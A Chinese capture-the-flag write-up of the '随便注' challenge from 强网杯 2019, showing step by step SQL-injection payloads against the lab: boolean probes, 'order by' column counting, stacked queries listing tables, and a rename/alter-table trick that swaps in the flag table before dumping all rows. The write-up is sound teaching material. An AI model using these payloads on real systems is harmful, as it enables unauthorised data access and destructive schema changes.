[强网杯 2019]随便注

0x00

打开网页如下,很明显这是一道注入题。

先来验证一下,输入payload如下:

1' and 1=2;#

页面没有任何结果回显,在输入如下payload:

1' and 1=1;#

出现回显 =》》,说明存在注入。
脑海里首先出现的是联合注入,接下来我们按照步骤去进行联合注入
首先先查询一下该表有多少个字段,输入如下payload:

1' order by 4;#

出现如右图的错误===》》
说明不存在第四行,继续测试,输入如下payload:

1' order by 3;#

还是出现如右图的错误===》》》
继续测试,输入payload:

1' order by 2;#

这次回显结果了如右图===》》
可以知道该表就存在两个字段,接着继续我们的联合注入,输入如下payload:

1' union select 1,2;#

得到

竟然设置了过滤,而且还这么严苛,这可咋办!!!!!
最后发现还存在堆叠注入,那可以先查询一下存在的表,输入如下payload:

1';show tables;#

返回右图结果==》》
发现 “1919810931114514” 这个表很奇怪,继续查一下它的字段,输入如下payload:

1';show columns from `1919810931114514`;#

返回右图==》》

果然存在flag,虽然找到了flag的位置,但是不好查询,因为能查询的几乎都被过滤了。
最后寻求度娘发现大佬们的思路太骚了,继续我们的查询,输入如下payload:

1';rename table `words` to `xx`;rename table `1919810931114514` to `words`;alter table `words` add id int;#
## rename该表名
## alter修改表字段等

这时候我们在输入 ‘1’去查询肯定查不到,因为新加的id字段为空,所以我们需要查询全部,输入如下payload:

1' or 1=1#

最后得到结果==》》

0x01

最后来对这道题做一个总结吧,这道题主要学习的是思路:
首先是猜出了可能的查询语句:

select id,data from words where id = ?

然后在查询语句全都被过滤的情况下,可以考虑更换表名(前提是存在堆叠注入,只有存在堆叠注入时才可以执行跟换表名的语句),将自己要查询的表更换成后台查询的表名,查询全部即可返回结果。
要注意的是最好连字段名一起更换,避免后台指定了查询的字段。

alter 修改表字段:https://www.w3school.com.cn/sql/sql_alter.asp
rename 修改表名 :
RENAME TABLE old_table_name TO new_table_name;
原文地址:https://www.cnblogs.com/Wuser/p/13457297.html